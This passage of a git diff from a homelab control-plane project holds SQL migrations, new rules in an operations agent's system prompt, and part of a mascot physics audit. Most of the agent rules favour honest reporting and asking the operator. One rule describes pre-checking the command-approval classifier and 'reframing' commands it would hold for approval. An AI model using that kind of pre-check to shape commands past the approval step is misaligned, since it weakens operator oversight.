EXCEPTION WHEN OTHERS THEN NULL;
|
||||||
|
END $$;
|
||||||
32
migrations/026_check_defs_last_run.up.sql
Normal file
32
migrations/026_check_defs_last_run.up.sql
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
-- 026_check_defs_last_run.up.sql
|
||||||
|
-- Make check_defs.interval_s actually mean something.
|
||||||
|
--
|
||||||
|
-- ListEnabledCheckDefs selected interval_s but never filtered on it, and
|
||||||
|
-- nothing in the scheduler read it except staleSweep. So every enabled check
|
||||||
|
-- ran on every 30-second pass and the declared per-check intervals were
|
||||||
|
-- decorative.
|
||||||
|
--
|
||||||
|
-- That went unnoticed at 17 enabled checks (~0.5 SSH/s). Restoring monitoring
|
||||||
|
-- coverage takes it to ~150, where it would have meant ~126 SSH connections
|
||||||
|
-- every 30s — roughly 363k/day — and, worst of all, `apt update` on every
|
||||||
|
-- machine every 30 seconds via updates_check.sh: 14,400 mirror hits a day to
|
||||||
|
-- answer a question whose answer changes about once a day.
|
||||||
|
--
|
||||||
|
-- last_run_at is a column rather than scheduler memory on purpose: an
|
||||||
|
-- in-memory map resets on restart, and this control plane restarts on every
|
||||||
|
-- deploy, so every check would fire at once each time — a thundering herd
|
||||||
|
-- exactly when the stack is least settled.
|
||||||
|
--
|
||||||
|
-- NULL means "never run", which is due immediately. Existing rows therefore
|
||||||
|
-- all fire once on the first pass after this migration, then settle into
|
||||||
|
-- their declared cadence.
|
||||||
|
|
||||||
|
ALTER TABLE check_defs ADD COLUMN IF NOT EXISTS last_run_at TIMESTAMPTZ;
|
||||||
|
|
||||||
|
-- The scheduler's hot query: enabled AND due. Partial on enabled since
|
||||||
|
-- disabled checks are never considered.
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_check_defs_due
|
||||||
|
ON check_defs (last_run_at)
|
||||||
|
WHERE enabled;
|
||||||
|
|
||||||
|
COMMENT ON COLUMN check_defs.last_run_at IS 'When this check last executed. NULL = never, due immediately. Compared against interval_s to decide due-ness.';
|
||||||
28
migrations/027_check_last_health.up.sql
Normal file
28
migrations/027_check_last_health.up.sql
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
-- 027_check_last_health.up.sql
|
||||||
|
-- Aggregate an entity's health across its checks instead of last-writer-wins.
|
||||||
|
--
|
||||||
|
-- runCheck wrote entity_status.health on every check completion, so an
|
||||||
|
-- entity's health was simply whichever of its checks finished most recently.
|
||||||
|
-- host:hubris has 6 checks, host:strong 6 — one failing probe alternating with
|
||||||
|
-- five passing ones produced a permanent flap: 226 health.changed events for
|
||||||
|
-- host:strong in a single hour, oscillating down/healthy, while the host was
|
||||||
|
-- fine the whole time.
|
||||||
|
--
|
||||||
|
-- On this fleet the trigger is a known false positive: the scheduler's network
|
||||||
|
-- vantage point cannot ICMP host:strong, so its ping check fails while every
|
||||||
|
-- ssh-script check succeeds. Under last-writer-wins that one probe was enough
|
||||||
|
-- to declare the whole host down, twice a minute.
|
||||||
|
--
|
||||||
|
-- Storing each check's own verdict lets entity health be derived as the worst
|
||||||
|
-- current result across that entity's enabled checks — so a single failing
|
||||||
|
-- probe degrades the entity honestly without erasing what the other five say,
|
||||||
|
-- and a passing probe cannot mask a genuine failure elsewhere.
|
||||||
|
|
||||||
|
ALTER TABLE check_defs ADD COLUMN IF NOT EXISTS last_health TEXT;
|
||||||
|
|
||||||
|
COMMENT ON COLUMN check_defs.last_health IS 'This check''s own most recent verdict (healthy/degraded/down/unknown). entity_status.health is the worst of these across the target''s enabled checks.';
|
||||||
|
|
||||||
|
-- The aggregation reads every enabled check for one target on each completion.
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_check_defs_target_health
|
||||||
|
ON check_defs (target_id)
|
||||||
|
WHERE enabled AND target_id IS NOT NULL;
|
||||||
75
migrations/028_relationship_blast_direction.up.sql
Normal file
75
migrations/028_relationship_blast_direction.up.sql
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
-- 028_relationship_blast_direction.up.sql
|
||||||
|
-- Make blast_radius answer the question it is named after.
|
||||||
|
--
|
||||||
|
-- blast_radius walked source_id -> target_id for every relationship type. But
|
||||||
|
-- which end of an edge is the DEPENDENT differs per type:
|
||||||
|
--
|
||||||
|
-- machine --hosts--> container if the machine dies, the container dies
|
||||||
|
-- -> dependent is the TARGET (forward)
|
||||||
|
-- service --depends-on--> service if the target dies, the SOURCE breaks
|
||||||
|
-- -> dependent is the SOURCE (backward)
|
||||||
|
-- ingress --routes-to--> service if the service dies, the route 502s
|
||||||
|
-- -> dependent is the SOURCE (backward)
|
||||||
|
-- document --documents--> entity neither breaks the other
|
||||||
|
-- -> no runtime dependency at all
|
||||||
|
--
|
||||||
|
-- Walking everything forwards meant the answer was right for `hosts` and
|
||||||
|
-- `provides` and wrong for every backward edge, while `documents`, `involves`
|
||||||
|
-- and `targets` (2,800+ edges of pure bookkeeping) polluted the result with
|
||||||
|
-- tasks and executions that cannot "break".
|
||||||
|
--
|
||||||
|
-- Direction is therefore a property of the relationship type, declared in
|
||||||
|
-- seeds/ontology.yaml — the same shape as the `monitoring:` declaration on
|
||||||
|
-- entity types.
|
||||||
|
--
|
||||||
|
-- forward : if the SOURCE fails, the TARGET is affected
|
||||||
|
-- backward : if the TARGET fails, the SOURCE is affected
|
||||||
|
-- none : no runtime dependency (default — bookkeeping and documentation)
|
||||||
|
--
|
||||||
|
-- Defaulting to 'none' is deliberate: an undeclared edge contributes nothing
|
||||||
|
-- rather than silently producing a wrong answer, which is how the old
|
||||||
|
-- everything-is-forward behaviour went unnoticed.
|
||||||
|
|
||||||
|
ALTER TABLE relationship_types
|
||||||
|
ADD COLUMN IF NOT EXISTS blast_direction TEXT NOT NULL DEFAULT 'none'
|
||||||
|
CHECK (blast_direction IN ('forward', 'backward', 'none'));
|
||||||
|
|
||||||
|
COMMENT ON COLUMN relationship_types.blast_direction IS
|
||||||
|
'Which end of this edge depends on the other. forward = target depends on source. backward = source depends on target. none = no runtime dependency. Drives blast_radius().';
|
||||||
|
|
||||||
|
-- Walk the dependency graph in the direction each edge type declares.
|
||||||
|
--
|
||||||
|
-- Returns everything that is affected when start_id fails, with the number of
|
||||||
|
-- hops. Cycles are guarded by the path array, as before.
|
||||||
|
CREATE OR REPLACE FUNCTION blast_radius(start_id UUID, max_depth INT DEFAULT 3,
|
||||||
|
rel_types TEXT[] DEFAULT NULL)
|
||||||
|
RETURNS TABLE(entity_id UUID, depth INT) AS $$
|
||||||
|
WITH RECURSIVE walk AS (
|
||||||
|
SELECT start_id AS entity_id, 0 AS depth, ARRAY[start_id] AS path
|
||||||
|
UNION ALL
|
||||||
|
SELECT next_id, w.depth + 1, w.path || next_id
|
||||||
|
FROM walk w
|
||||||
|
JOIN LATERAL (
|
||||||
|
-- forward: this entity is the source, so the target depends on it
|
||||||
|
SELECT r.target_id AS next_id
|
||||||
|
FROM relationships r
|
||||||
|
JOIN relationship_types rt ON rt.name = r.type
|
||||||
|
WHERE r.source_id = w.entity_id
|
||||||
|
AND r.valid_to IS NULL
|
||||||
|
AND rt.blast_direction = 'forward'
|
||||||
|
AND (rel_types IS NULL OR r.type = ANY(rel_types))
|
||||||
|
UNION ALL
|
||||||
|
-- backward: this entity is the target, so the source depends on it
|
||||||
|
SELECT r.source_id AS next_id
|
||||||
|
FROM relationships r
|
||||||
|
JOIN relationship_types rt ON rt.name = r.type
|
||||||
|
WHERE r.target_id = w.entity_id
|
||||||
|
AND r.valid_to IS NULL
|
||||||
|
AND rt.blast_direction = 'backward'
|
||||||
|
AND (rel_types IS NULL OR r.type = ANY(rel_types))
|
||||||
|
) nxt ON TRUE
|
||||||
|
WHERE w.depth < LEAST(max_depth, 5)
|
||||||
|
AND NOT nxt.next_id = ANY(w.path)
|
||||||
|
)
|
||||||
|
SELECT entity_id, MIN(depth) FROM walk GROUP BY entity_id;
|
||||||
|
$$ LANGUAGE sql STABLE;
|
||||||
33
migrations/029_plan_generation_relative_seq.up.sql
Normal file
33
migrations/029_plan_generation_relative_seq.up.sql
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
-- 029_plan_generation_relative_seq.up.sql
|
||||||
|
-- Make plan-step seq generation-relative: 1..N within each
|
||||||
|
-- (session_id, generation). Before this, seq was globally increasing across
|
||||||
|
-- generations (gen1: 1..6, gen2: 7..12), so the model's 1-based
|
||||||
|
-- update_plan_step calls — which the prompt and schema explicitly tell it to
|
||||||
|
-- use — landed on superseded gen-1 rows after a re-plan while the live gen-2
|
||||||
|
-- work went unrecorded (or, worse, resurrected a `replaced` row as `done`).
|
||||||
|
-- The addressing key is now (session_id, generation, seq); updatePlanStep
|
||||||
|
-- resolves against MAX(generation), so a 1-based seq always maps to the
|
||||||
|
-- CURRENT plan. See plans/2026-07-30-session-review-plan-drift-and-dead-
|
||||||
|
-- activity-panel.md P0.1.
|
||||||
|
|
||||||
|
-- Renumber existing rows so seq resets to 1..N per (session, generation),
|
||||||
|
-- preserving each generation's step order.
|
||||||
|
WITH ranked AS (
|
||||||
|
SELECT id,
|
||||||
|
ROW_NUMBER() OVER (
|
||||||
|
PARTITION BY session_id, generation
|
||||||
|
ORDER BY seq, created_at
|
||||||
|
) AS new_seq
|
||||||
|
FROM session_plan_steps
|
||||||
|
)
|
||||||
|
UPDATE session_plan_steps s
|
||||||
|
SET seq = ranked.new_seq
|
||||||
|
FROM ranked
|
||||||
|
WHERE s.id = ranked.id AND s.seq <> ranked.new_seq;
|
||||||
|
|
||||||
|
-- (session_id, seq) is no longer unique once seq resets per generation; the
|
||||||
|
-- store resolves via (session_id, generation, seq). Drop the old composite
|
||||||
|
-- index (it now collides on seq) and add the generation-scoped unique index.
|
||||||
|
DROP INDEX IF EXISTS idx_plan_steps_session;
|
||||||
|
CREATE UNIQUE INDEX IF NOT EXISTS idx_plan_steps_session_gen_seq
|
||||||
|
ON session_plan_steps (session_id, generation, seq);
|
||||||
8
migrations/030_plan_step_replaced_reason.up.sql
Normal file
8
migrations/030_plan_step_replaced_reason.up.sql
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
-- 030_plan_step_replaced_reason.up.sql
|
||||||
|
-- Add replaced_reason to session_plan_steps so the agent must explain why
|
||||||
|
-- a step was replaced (wrong_diagnosis, scope_change, blocked, superseded,
|
||||||
|
-- operator_override) rather than silently replacing entire plans. The column
|
||||||
|
-- is also set by bulk-replace operations (proposePlan, setGoal, reopenSession)
|
||||||
|
-- for auditability.
|
||||||
|
|
||||||
|
ALTER TABLE session_plan_steps ADD COLUMN IF NOT EXISTS replaced_reason TEXT;
|
||||||
103
nomos/SOUL.md
103
nomos/SOUL.md
@@ -47,6 +47,24 @@ Read-only commands auto-run (no approval). Config_mutation commands
|
|||||||
auto-run under the assent window (after approval). Destructive commands
|
auto-run under the assent window (after approval). Destructive commands
|
||||||
always need explicit typed confirmation.
|
always need explicit typed confirmation.
|
||||||
|
|
||||||
|
**Never mark a step `done` if its tool calls errored.** If `run` timed out,
|
||||||
|
`update_entity_attributes` returned "not found", `create_relationship` returned
|
||||||
|
"source entity not found", or any tool returned an error — the step is NOT done.
|
||||||
|
Diagnose the error, try an alternative (e.g. use `create_entity` when
|
||||||
|
`update_entity_attributes` reports the entity doesn't exist), and only advance
|
||||||
|
to `done` when the step's intended work actually completed. A step whose only
|
||||||
|
tool results are errors should stay `running` — surfacing the problem to the
|
||||||
|
operator is better than silently advancing past it.
|
||||||
|
|
||||||
|
**Complete or skip steps — don't replace silently.** Use `status=replaced` only
|
||||||
|
when the entire plan generation is wrong and the step should be abandoned. When
|
||||||
|
you replace a step, provide `replaced_reason` with the cause
|
||||||
|
(`wrong_diagnosis`, `scope_change`, `blocked`, `superseded`, `operator_override`).
|
||||||
|
Replacing ALL steps with no reason is a session-quality violation — the plan
|
||||||
|
system's step-completion rate is a tracked metric. Advance steps you've
|
||||||
|
actually done (`status=done`) and explicitly skip ones you're abandoning
|
||||||
|
(`status=skipped`).
|
||||||
|
|
||||||
### 6. WRITE BACK + COMPLETE — `complete_task`
|
### 6. WRITE BACK + COMPLETE — `complete_task`
|
||||||
Call `update_entity_attributes` for every entity you ran `run` against
|
Call `update_entity_attributes` for every entity you ran `run` against
|
||||||
(versions, states, counts, timestamps). Call `create_relationship` for any
|
(versions, states, counts, timestamps). Call `create_relationship` for any
|
||||||
@@ -59,6 +77,23 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/
|
|||||||
search_knowledge): answer directly, `complete_task` with a one-line summary,
|
search_knowledge): answer directly, `complete_task` with a one-line summary,
|
||||||
no writeback needed.
|
no writeback needed.
|
||||||
|
|
||||||
|
**⚠️ Before calling `complete_task(success)`, restate the user's original
|
||||||
|
goal and verify each condition yourself.** "The proxy returns 200" is NOT
|
||||||
|
the same as "the dashboard works" — Caddy can return 200 for a terminal
|
||||||
|
page (ttyd), a fallback, or a stale cached response while the actual
|
||||||
|
service is still down. If the goal was "make X reachable," verify that X
|
||||||
|
ITSELF responds — not just that the reverse proxy returned a status code.
|
||||||
|
If you can't verify the actual service (port not open, service not
|
||||||
|
responding), set `outcome=partial`, not `success`.
|
||||||
|
|
||||||
|
`complete_task` auto-closes any in-flight plan steps (pending/running → done
|
||||||
|
on success, → skipped on partial/failure). You do NOT need to call
|
||||||
|
`update_plan_step` for every step right before completing — once your work
|
||||||
|
is done and writeback is recorded, just call `complete_task`. This is the
|
||||||
|
right pattern for one-step plans (greetings, single health checks, title
|
||||||
|
tests): propose_plan → answer → complete_task, skipping the per-step
|
||||||
|
running→done dance entirely.
|
||||||
|
|
||||||
### 7. ITERATE — follow-ups reopen the task
|
### 7. ITERATE — follow-ups reopen the task
|
||||||
A `complete_task` is not the end of the conversation. If the operator sends
|
A `complete_task` is not the end of the conversation. If the operator sends
|
||||||
a follow-up on a completed session — e.g. "now look into the X you flagged"
|
a follow-up on a completed session — e.g. "now look into the X you flagged"
|
||||||
@@ -77,6 +112,13 @@ generation — the panel will show it as a new list), execute, write back,
|
|||||||
the panel in your reply. Never re-run `run` just to fix a display mismatch.
|
the panel in your reply. Never re-run `run` just to fix a display mismatch.
|
||||||
- Re-run a fleet-wide audit when a same-day knowledge entry already has the
|
- Re-run a fleet-wide audit when a same-day knowledge entry already has the
|
||||||
answer → present the existing knowledge, propose a targeted refresh only.
|
answer → present the existing knowledge, propose a targeted refresh only.
|
||||||
|
- Pivot to a subsystem unrelated to the user's expressed goal without asking →
|
||||||
|
when investigation leads to a different subsystem or root cause (e.g.
|
||||||
|
debugging DHCP reservations when the goal was "make the dashboard reachable"),
|
||||||
|
call `session_questions` with the discovery and options BEFORE taking action.
|
||||||
|
Example: "The dashboard hasn't started since July 19 — this predates my work.
|
||||||
|
Do you want me to debug the dashboard service [A], skip it and stabilize the
|
||||||
|
current state [B], or stop here [C]?"
|
||||||
|
|
||||||
## Source of truth
|
## Source of truth
|
||||||
|
|
||||||
@@ -160,6 +202,17 @@ disappear.
|
|||||||
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
|
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
|
||||||
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
|
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
|
||||||
pct create, any shell command. There is no named-action tool anymore.
|
pct create, any shell command. There is no named-action tool anymore.
|
||||||
|
- `classify_command` — **pre-flight check before `run` when you're unsure
|
||||||
|
whether a command will auto-execute or need approval.** Pass the exact
|
||||||
|
command (and optional `declared_risk`); get back the risk class that `run`
|
||||||
|
would assign. Use it whenever you're composing `pct exec`, `curl`, or any
|
||||||
|
compound command — these are the cases where the classifier's verdict
|
||||||
|
isn't obvious from the verb alone. If `classify_command` says `read_only`,
|
||||||
|
`run` will auto-execute; if it says `config_mutation`, reframe the command
|
||||||
|
or expect to need approval. **Do NOT submit a `run`, get it queued for
|
||||||
|
approval, and then retry with cosmetic variations** — that produces
|
||||||
|
duplicate queued approvals and wastes turns. Pre-classify, adjust, then
|
||||||
|
submit once.
|
||||||
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
|
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
|
||||||
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
|
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
|
||||||
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
|
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
|
||||||
@@ -186,6 +239,21 @@ disappear.
|
|||||||
`list_lxcs` answers the same question in one call. Use it.
|
`list_lxcs` answers the same question in one call. Use it.
|
||||||
- When a bulk tool's summary isn't enough for a specific entity, call the
|
- When a bulk tool's summary isn't enough for a specific entity, call the
|
||||||
per-entity tool for that one entity — not for every entity in the fleet.
|
per-entity tool for that one entity — not for every entity in the fleet.
|
||||||
|
- **Cap pre-plan exploration:** prefer `list_entities(limit)` +
|
||||||
|
`get_entity_knowledge` (context for one entity, one call) over N+1
|
||||||
|
`get_entity`/`get_relations` chains. If you've already called
|
||||||
|
`get_entity_knowledge(slug)` and need more, call `get_entity(slug)` +
|
||||||
|
`get_relations(slug)` — not `list_entities` without a limit scanning the
|
||||||
|
whole entity table.
|
||||||
|
- **Group parallel reads:** `get_entity_knowledge`, `search_knowledge`,
|
||||||
|
`get_entity`, and `get_relations` are all read-only DB calls that can
|
||||||
|
be batched in a single tool-call block. Do not sequentialize them one
|
||||||
|
per turn when they are independent.
|
||||||
|
- **Source-reading on prod (`run cat/grep/find /opt/…`) is NOT the way to
|
||||||
|
learn how the platform works.** The MCP tools ARE the interface. If you
|
||||||
|
need to understand a check lifecycle or a scheduler behavior, search
|
||||||
|
`search_knowledge("oikos check lifecycle")` or ask the operator — do
|
||||||
|
not treat the prod host as a code repository you grep.
|
||||||
|
|
||||||
## Policy awareness
|
## Policy awareness
|
||||||
|
|
||||||
@@ -336,6 +404,26 @@ port is busy, find a free one. Only surface to the operator if you've tried
|
|||||||
reasonable alternatives and none worked. An error in one step is not a reason
|
reasonable alternatives and none worked. An error in one step is not a reason
|
||||||
to stop the entire turn — it's a reason to try a different approach.
|
to stop the entire turn — it's a reason to try a different approach.
|
||||||
|
|
||||||
|
**When you hit a genuine missing capability — STOP and ask, don't bypass:**
|
||||||
|
If a tool returns `entity … not found` when you're trying to create something
|
||||||
|
(a check, an ingress, a cert, a new service), the entity doesn't exist yet —
|
||||||
|
use `create_entity`. If you need to retire/delete an entity, use
|
||||||
|
`set_entity_state`. If you need to remove a relationship, use
|
||||||
|
`end_relationship`. If NONE of these fit and you truly lack a tool, **tell the
|
||||||
|
operator directly: "I need to X, but no MCP tool does that — can you create it
|
||||||
|
via the API?"** Do NOT pivot to `run find/grep/cat` on `/opt/homelab-context`
|
||||||
|
to reverse-engineer how the platform works — MCP tools are the interface, not
|
||||||
|
the prod source tree.
|
||||||
|
|
||||||
|
**Self-grounding — use the DB, don't invent:**
|
||||||
|
- `run` targets must be `host:<slug>`, `lxc:<slug>`, or `vm:<slug>` — never
|
||||||
|
`ws:`, raw container names, or Docker Compose service aliases.
|
||||||
|
- Never invent an IP address or subnet. Query `get_entity("service:oikos")` for
|
||||||
|
the real API address, `get_entity("host:<name>")` for a host's real LAN IP,
|
||||||
|
`list_lxcs` for container addresses. The DB is authoritative; your guess is
|
||||||
|
wrong (the homelab has multiple subnets — `192.168.8.0/24`, `192.168.178.0/24`,
|
||||||
|
etc. — and guessing the wrong one wastes turns).
|
||||||
|
|
||||||
**A hung command is not a failed command — investigate before retrying.**
|
**A hung command is not a failed command — investigate before retrying.**
|
||||||
If a `run` call times out or returns "ERROR" (e.g. SSH killed, signal,
|
If a `run` call times out or returns "ERROR" (e.g. SSH killed, signal,
|
||||||
gateway timeout), DO NOT immediately retry the same command with different
|
gateway timeout), DO NOT immediately retry the same command with different
|
||||||
@@ -372,6 +460,21 @@ before producing the plan. A multi-step migration proposed when the
|
|||||||
user actually wanted a one-line cleanup wastes turns and forces the
|
user actually wanted a one-line cleanup wastes turns and forces the
|
||||||
user to redirect.
|
user to redirect.
|
||||||
|
|
||||||
|
**Scope gate — ask before chasing unrelated subsystems.** When your
|
||||||
|
investigation leads to a subsystem or root cause unrelated to the
|
||||||
|
expressed goal (e.g. the user asked "why is X unreachable?" and you
|
||||||
|
find yourself debugging DHCP reservations on a DNS server, or the
|
||||||
|
dashboard logs show it hasn't started since weeks before the reported
|
||||||
|
problem), STOP and ask via `ask_operator`. Example: *"The dashboard
|
||||||
|
logs show it hasn't started since July 19 — pre-dating this incident.
|
||||||
|
Do you want me to debug the dashboard service [A], just stabilize the
|
||||||
|
IP [B], or stop here [C]?"* Chasing an unrelated subsystem without
|
||||||
|
asking is a session-quality violation — it wastes tool calls and
|
||||||
|
computes credit on a problem the operator may not want solved right
|
||||||
|
now. The `session_questions` mechanism exists for exactly this; use
|
||||||
|
it whenever the target shifts more than one degree from the stated
|
||||||
|
goal.
|
||||||
|
|
||||||
**Multi-goal sessions: summarize the arc, not just the last goal.**
|
**Multi-goal sessions: summarize the arc, not just the last goal.**
|
||||||
When a session has more than one `set_goal` (the operator pivoted mid-
|
When a session has more than one `set_goal` (the operator pivoted mid-
|
||||||
session — e.g. "actually, just keep ludo-library"), the final
|
session — e.g. "actually, just keep ludo-library"), the final
|
||||||
|
|||||||
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
@@ -0,0 +1,303 @@
|
|||||||
|
# 2026-07-20 — Mascot physics/window-interaction audit + improvement plan
|
||||||
|
|
||||||
|
**Status:** P0–P2 implemented. P3 partially implemented: the physics-feel
|
||||||
|
round shipped (panic-flap cycle with speed scaling + jitter, soft
|
||||||
|
terminal-velocity drag, one-bounce impact restitution, landing skid, wall
|
||||||
|
ricochet, squash-and-stretch impact spring, air/drag tilt, walk bob,
|
||||||
|
impact feather-poof particles, and a new idle-selectable `hop` behavior —
|
||||||
|
all in `behavior.ts` + `Mascot.svelte`'s render layer, no new assets).
|
||||||
|
The remaining P3 feature ideas (investigate badges, startle-and-flee, a
|
||||||
|
"home" spot, round radial menu v2, distinct adult art) stay open.
|
||||||
|
|
||||||
|
**Verification of the fixes** (re-ran this document's own instrumented
|
||||||
|
tests against the fixed code):
|
||||||
|
- Case A (window closes under the mascot): position now falls smoothly
|
||||||
|
over ~2.5–3s with visible x-drift (e.g. bottom went 84→87→104→125→...→912
|
||||||
|
across ~3.3s), instead of jumping straight to the floor in one tick.
|
||||||
|
- Case B (window opens over a grounded mascot with a gap beneath it): the
|
||||||
|
mascot stayed pinned to the floor (`bottom: 950`) for 2.6s straight while
|
||||||
|
standing under an open window whose top was far above it — no snap-up at
|
||||||
|
all.
|
||||||
|
- Toss momentum: a fast upward-and-sideways release made the sprite keep
|
||||||
|
*rising* for several frames after pointerup before gravity won, then fall
|
||||||
|
with visible deceleration bumps roughly every ~550ms (the flap cycle)
|
||||||
|
instead of a flat monotonic increase.
|
||||||
|
- No new console errors; `npm run build` stays clean.
|
||||||
|
|
||||||
|
Companion to [plans/2026-07-20-desktop-mascot.md](2026-07-20-desktop-mascot.md)
|
||||||
|
(the original scaffolding plan, now implemented) and
|
||||||
|
[docs/mascot/README.md](../docs/mascot/README.md) (the MBSE model). This
|
||||||
|
document is a post-implementation review: static code read of every file
|
||||||
|
under `web/src/lib/mascot/`, plus live testing in the browser (dragging,
|
||||||
|
opening/closing/moving windows under the mascot, the radial menu, hatching),
|
||||||
|
including two tests instrumented with synthetic pointer events + high-frequency
|
||||||
|
position polling to get hard timing data rather than guessing from a laggy
|
||||||
|
screenshot loop.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The scaffolding (registries, FSM shape, persistence, stimulus bus) is sound
|
||||||
|
and matches the original plan's architecture. The actual **physics is where
|
||||||
|
it falls short of feeling alive**, for one root cause plus a few smaller
|
||||||
|
gaps:
|
||||||
|
|
||||||
|
**The mascot doesn't actually fall in the cases that matter most — it
|
||||||
|
teleports.** The only code path where a real, animated fall happens is
|
||||||
|
"user drags it into the air and lets go." Every other ground-change case
|
||||||
|
(a window closes or moves out from under it, a window opens or moves under
|
||||||
|
it, it walks off a window's edge) snaps its position instantly, with zero
|
||||||
|
animation, because of one specific piece of logic in `Mascot.svelte`. This
|
||||||
|
was proven with instrumented timing data, not just read from the source —
|
||||||
|
see Finding 1.
|
||||||
|
|
||||||
|
## How this was tested
|
||||||
|
|
||||||
|
- Read every file in `web/src/lib/mascot/` (behavior.ts, Mascot.svelte,
|
||||||
|
MascotLayer.svelte, state.svelte.ts, stimuli.ts, sprites.ts, render.ts,
|
||||||
|
actions.ts, RadialMenu.svelte, NameDialog.svelte, types.ts).
|
||||||
|
- Ran the app (`npm run dev`), hatched a chick, and interactively tested:
|
||||||
|
drag-and-release at various heights, opening/closing/dragging a window
|
||||||
|
under the mascot, the right-click menu (including nested Feed), plain-click
|
||||||
|
pet, and the hatch dialog.
|
||||||
|
- For the two timing-sensitive claims below, screenshot-based verification
|
||||||
|
was too slow/laggy to distinguish "instant teleport" from "fast but real
|
||||||
|
fall" — so both were re-verified with a single `javascript_exec` call that
|
||||||
|
dispatches synthetic `PointerEvent`s to drag the mascot precisely onto a
|
||||||
|
window, then clicks that window's close button and polls
|
||||||
|
`canvas.getBoundingClientRect()` every ~65ms for 2+ seconds, all inside one
|
||||||
|
script (no inter-call latency to contaminate the result).
|
||||||
|
- `npm run build` passes with no new warnings.
|
||||||
|
|
||||||
|
## Findings
|
||||||
|
|
||||||
|
### Finding 1 (Critical) — Ground changes teleport the mascot instead of animating a fall or rise
|
||||||
|
|
||||||
|
**Root cause**, `web/src/lib/mascot/Mascot.svelte` `tick()` (~lines 111-131):
|
||||||
|
every tick, `computeGroundAt(runtime.x)` recomputes the ground line, and if
|
||||||
|
the mascot is "grounded" (not already `falling`/`dragged`) and the ground
|
||||||
|
changed at all, this runs unconditionally:
|
||||||
|
|
||||||
|
```js
|
||||||
|
if (runtime.behavior !== 'falling' && runtime.behavior !== 'dragged' &&
|
||||||
|
runtime.y >= prevGroundY - 1 && newGround !== prevGroundY) {
|
||||||
|
runtime.y += newGround - prevGroundY // instant, any magnitude, either direction
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
This was meant to make the mascot "ride along" smoothly while a window it's
|
||||||
|
standing on is being dragged (and it does do that correctly — verified,
|
||||||
|
see below). But it fires for *any* ground change, not just a smooth drag,
|
||||||
|
and it runs *before* `stepMascot()`/`behavior.ts` gets a chance to notice
|
||||||
|
"I'm now floating" and start a real `falling` behavior — so the FSM's own
|
||||||
|
fall-detection in the `wander`/`idle` cases
|
||||||
|
(`if (rt.y < groundY(rt) - 1) forceBehavior(rt, 'falling')`) never actually
|
||||||
|
fires; by the time it runs, `runtime.y` has already been silently snapped to
|
||||||
|
match.
|
||||||
|
|
||||||
|
**Proven case A — window closes underneath the mascot (should fall):**
|
||||||
|
dragged the mascot onto an open window's title bar via synthetic pointer
|
||||||
|
events (landed cleanly: sprite bottom = 96px = window top = 96px), then
|
||||||
|
clicked the window's close button and polled position every 65ms:
|
||||||
|
|
||||||
|
| t (ms) | sprite bottom (px) |
|
||||||
|
|---|---|
|
||||||
|
| 0 (before close) | 96 |
|
||||||
|
| 67 | **950** (floor) |
|
||||||
|
| 132 – 2000 | 950 (unchanged) |
|
||||||
|
|
||||||
|
The coded physics (gravity 1400 px/s², capped at 320 px/s) would take
|
||||||
|
**~2.8 seconds** to fall 854px. It happened in **under 67ms** — an instant
|
||||||
|
snap, not a fall. No `falling`/`land` animation plays.
|
||||||
|
|
||||||
|
**Proven case B — window opens/overlaps underneath a grounded mascot
|
||||||
|
(should NOT rise, or should climb visibly):** with the mascot standing on
|
||||||
|
the empty desktop floor (bottom = 950px), opened the Tasks window (which
|
||||||
|
renders top=71px, bottom=751px at that position — its underside never
|
||||||
|
reaches the floor, leaving a ~200px gap). Within 150ms, the mascot's sprite
|
||||||
|
bottom was already **71px** — snapped straight up onto the new window's
|
||||||
|
title bar, 880px in under 150ms, despite the window's bottom edge (751px)
|
||||||
|
never actually touching the mascot's original position. `computeGroundAt()`
|
||||||
|
has no check that the candidate window is anywhere near the mascot's
|
||||||
|
*current* position — it just returns the topmost window overlapping the
|
||||||
|
mascot's x column, full stop, so any window opening/moving/resizing
|
||||||
|
anywhere in that column instantly relocates the mascot to its top edge, no
|
||||||
|
matter the vertical distance.
|
||||||
|
|
||||||
|
**What does work correctly:** dragging an already-mascot-bearing window
|
||||||
|
smoothly (title-bar drag, not open/close) — the ride-along correctly
|
||||||
|
translates the mascot's y by the same delta as the window moves, so it
|
||||||
|
visually "stands" on the window through the drag. Also, manual drag-and-drop
|
||||||
|
of the mascot itself (pick it up, release above ground) *does* enter a real,
|
||||||
|
animated `falling` → `land` → `idle` sequence, because that path is driven
|
||||||
|
entirely by `releaseFromDrag()` from the pointer handler, which isn't
|
||||||
|
touched by the tick-level snap.
|
||||||
|
|
||||||
|
**Fix direction:** `computeGroundAt` needs to return the highest surface
|
||||||
|
*at or below* the mascot's current `y* (a downward raycast from the current
|
||||||
|
position), not the global topmost window in the column. Separately, the
|
||||||
|
tick-level "ride along" needs to distinguish *small, continuous* deltas
|
||||||
|
(the window carrying the mascot while being dragged — legitimate instant
|
||||||
|
translation) from *large or discontinuous* ones (a window appearing,
|
||||||
|
disappearing, or the mascot walking off an edge — should hand off to
|
||||||
|
`forceBehavior(rt, 'falling')` for a downward change, and a short new
|
||||||
|
`rising`/hop transition for an upward one, not a silent teleport in either
|
||||||
|
direction).
|
||||||
|
|
||||||
|
### Finding 2 (Critical) — the one real fall is a flat, straight drop; this is the user's specific complaint
|
||||||
|
|
||||||
|
